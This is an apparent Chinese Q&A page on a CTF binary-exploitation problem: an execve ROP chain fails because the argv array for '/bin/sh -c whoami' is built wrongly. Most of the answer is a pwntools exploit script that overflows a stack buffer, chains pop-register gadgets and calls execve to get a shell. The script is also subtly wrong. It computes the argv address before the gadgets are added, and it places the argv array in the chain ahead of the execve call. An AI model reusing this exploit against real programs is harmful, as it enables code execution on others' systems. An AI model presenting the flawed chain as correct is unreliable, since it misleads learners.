CTF中execve调用argv数组空终止失效问题求助
问题分析与解决方案
错误原因
报错whoami: 0: cannot open : No such file表明/bin/sh错误地将数值0(空指针的十六进制表示)当作了要执行的脚本文件名,核心问题是**execve调用的argv数组构造不符合要求**:
execve("/bin/sh", argv, envp)中,argv必须是["/bin/sh", "-c", "whoami", NULL]的结构,-c和whoami是两个独立的数组元素,且数组必须以空指针(NULL)终止- 若
argv结构错误(比如将"-c whoami"合并为一个元素、空指针未正确设置或被覆盖),shell会解析失败,出现上述错误
正确构造ROP链的步骤
1. 栈上写入字符串
先将需要的字符串按顺序写入栈中,每个字符串必须以**空字节\x00**结尾:
/bin/sh\x00:execve的第一个参数-c\x00:shell的命令行参数whoami\x00:-c对应的命令内容
2. 构造合法的argv数组
argv数组需要依次包含以下地址,且最后以空指针(0)终止:
/bin/sh的栈地址-c的栈地址whoami的栈地址0(空指针)
3. 传递execve的参数
根据架构(x86/x86_64)的调用约定,将参数加载到对应寄存器:
- x86_64:
rdi=/bin/sh地址,rsi=argv数组地址,rdx=envp(设为0即可) - x86:
ebx=/bin/sh地址,ecx=argv数组地址,edx=envp
示例EXP代码(x86_64架构)
from pwn import * # 连接目标程序,若为远程则替换为remote() p = process("./vuln") # 1. 构造栈上的字符串区域(每个字符串以\x00结尾) str_section = b'/bin/sh\x00' + b'-c\x00' + b'whoami\x00' # 2. 填充到ROP链的起始位置(根据程序的溢出偏移调整0x40) payload = str_section + b'A' * (0x40 - len(str_section)) # 3. 定义ROP gadgets(需根据目标程序的实际地址替换) pop_rdi = 0x401234 # pop rdi; ret pop_rsi_r15 = 0x401236 # pop rsi; pop r15; ret pop_rdx = 0x401238 # pop rdx; ret execve_plt = 0x401040 # execve的PLT地址 # 4. 计算栈上各字符串和argv数组的地址(需根据实际栈地址调整,若有PIE需先泄露基地址) base_stack = 0x7fffffffdd00 # 示例栈基地址 bin_sh_addr = base_stack c_flag_addr = bin_sh_addr + len(b'/bin/sh\x00') whoami_addr = c_flag_addr + len(b'-c\x00') argv_addr = base_stack + len(payload) # argv数组放在ROP链之后的栈位置 # 5. 构造ROP链传递execve参数 payload += p64(pop_rdi) + p64(bin_sh_addr) payload += p64(pop_rsi_r15) + p64(argv_addr) + p64(0) # r15填任意值即可 payload += p64(pop_rdx) + p64(0) # envp设为NULL # 6. 将argv数组写入栈中 payload += p64(bin_sh_addr) payload += p64(c_flag_addr) payload += p64(whoami_addr) payload += p64(0) # 空指针终止数组 # 7. 调用execve payload += p64(execve_plt) # 发送payload并交互 p.sendline(payload) p.interactive()
额外注意事项
- 若目标程序开启PIE,需先泄露程序基地址或栈地址,再计算各字符串和gadget的实际地址
- 确保栈上的字符串和
argv数组未被后续ROP指令覆盖 - 若为x86架构,需调整gadget和寄存器传递逻辑(使用
ebx/ecx/edx而非rdi/rsi/rdx)
内容的提问来源于stack exchange,提问作者Marius Romeiser
相关产品推荐
相关产品推荐

